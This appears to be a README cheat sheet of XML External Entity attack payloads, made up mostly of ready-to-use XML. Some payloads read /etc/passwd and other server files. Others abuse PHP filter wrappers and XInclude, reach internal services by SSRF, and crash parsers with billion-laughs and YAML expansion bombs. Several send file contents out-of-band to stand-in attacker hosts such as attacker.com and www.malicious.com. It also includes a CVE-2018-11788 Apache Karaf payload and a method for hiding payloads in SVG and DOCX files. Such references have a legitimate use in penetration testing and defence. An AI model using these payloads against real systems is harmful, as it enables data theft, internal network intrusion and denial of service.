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README.md

XML External Entity

An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server.

Internal Entity: If an entity is declared within a DTD it is called as internal entity.
Syntax: <!ENTITY entity_name "entity_value">

External Entity: If an entity is declared outside a DTD it is called as external entity. Identified by SYSTEM.
Syntax: <!ENTITY entity_name SYSTEM "entity_value">

Summary

Tools

Detect the vulnerability

Basic entity test, when the XML parser parses the external entities the result should contain "John" in firstName and "Doe" in lastName. Entities are defined inside the DOCTYPE element.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

It might help to set the Content-Type: application/xml in the request when sending XML payload to the server.

Exploiting XXE to retrieve files

Classic XXE

We try to display the content of the file /etc/passwd

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

⚠️ SYSTEM and PUBLIC are almost synonym.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

Classic XXE Base64 encoded

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

PHP Wrapper inside XXE

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <adress>42 rue du CTF</adress>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>

XInclude attacks

When you can't modify the DOCTYPE element use the XInclude to target

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

Exploiting XXE to perform SSRF attacks

XXE can be combined with the SSRF vulnerability to target another service on the network.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>

Exploiting XXE to perform a deny of service

⚠️ : These attacks might kill the service or the server, do not use them on the production.

Billion Laugh Attack

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml attack

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Error Based XXE

Payload to trigger the XXE

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>

Contents of ext.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Exploiting blind XXE to exfiltrate data out-of-band

Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.

Blind XXE

The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator.

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext;
]>
<r></r>

Send the content of /etc/passwd to "www.malicious.com", you may receive only the first line.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>

XXE OOB Attack (Yunusov, 2013)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>

File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;

XXE OOB with DTD and PHP filter

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">

XXE OOB with Apache Karaf

CVE-2018-11788 affecting versions:

  • Apache Karaf <= 4.2.1
  • Apache Karaf <= 4.1.6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
    <feature name="deployer" version="2.0" install="auto">
    </feature>
</features>

Send the XML file to the deploy folder.

Ref. brianwrf/CVE-2018-11788

XXE in exotic files

XXE inside SVG

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

XXE inside SOAP

<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

XXE inside DOCX file

Format of an Open XML file (inject the payload in any .xml file):

  • /_rels/.rels
  • [Content_Types].xml
  • Default Main Document Part
    • /word/document.xml
    • /ppt/presentation.xml
    • /xl/workbook.xml

Then update the file zip -u xxe.docx [Content_Types].xml

Tool : https://github.com/BuffaloWill/oxml_xxe

DOCX/XLSX/PPTX
ODT/ODG/ODP/ODS
SVG
XML
PDF (experimental)
JPG (experimental)
GIF (experimental)

References

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